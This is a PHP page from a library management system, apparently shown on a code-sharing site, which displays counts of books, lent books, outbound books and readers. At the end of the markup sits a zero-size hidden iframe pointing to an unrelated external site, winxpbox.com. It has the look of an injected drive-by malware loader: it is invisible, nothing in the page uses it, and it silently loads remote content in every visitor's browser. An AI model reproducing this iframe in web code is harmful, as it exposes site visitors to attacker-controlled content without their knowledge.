?? zltj.php
字號:
<?php
include "../config.php";
?>
<link href="../css/css.css" rel="stylesheet" type="text/css">
<form action="zltj.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
<table width="765" border="0" cellspacing="0" class="table">
<tr>
<td height="50" align="left" class="tabletitle"> 資料統計</td>
</tr>
</table>
<table class="table" width="765">
<tr bgcolor="#BCD2E6" height="25">
<td width="100" align="center" class="word">現有圖書數量</td>
<td width="665" align="left" class="word">
<?php
$sql="select count(*) from books";
$result=mysql_query($sql);
$row=mysql_fetch_array($result);
echo $row[0];
?></td>
</tr>
<tr bgcolor='#BCD2E6'>
<td height='25' align='center' class='word'>借出圖書數量</td>
<td height='25' align='left' class='word'><?php
$sql="select count(*) from lendingbook";
$result=mysql_query($sql);
$row=mysql_fetch_array($result);
echo $row[0];
?></td>
</tr>
<tr bgcolor='#BCD2E6'>
<td height='25' align='center' class='word'>發書出庫數量</td>
<td height='25' align='left' class='word'><?php
$sql="select count(*) from outlibrary";
$result=mysql_query($sql);
$row=mysql_fetch_array($result);
echo $row[0];
?></td>
</tr>
<tr bgcolor='#BCD2E6'>
<td height='25' align='center' class='word'>現有讀者數量</td>
<td height='25' align='left' class='word'><?php
$sql="select count(*) from readerinfo";
$result=mysql_query($sql);
$row=mysql_fetch_array($result);
echo $row[0];
?></td>
</tr>
</table>
</form>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -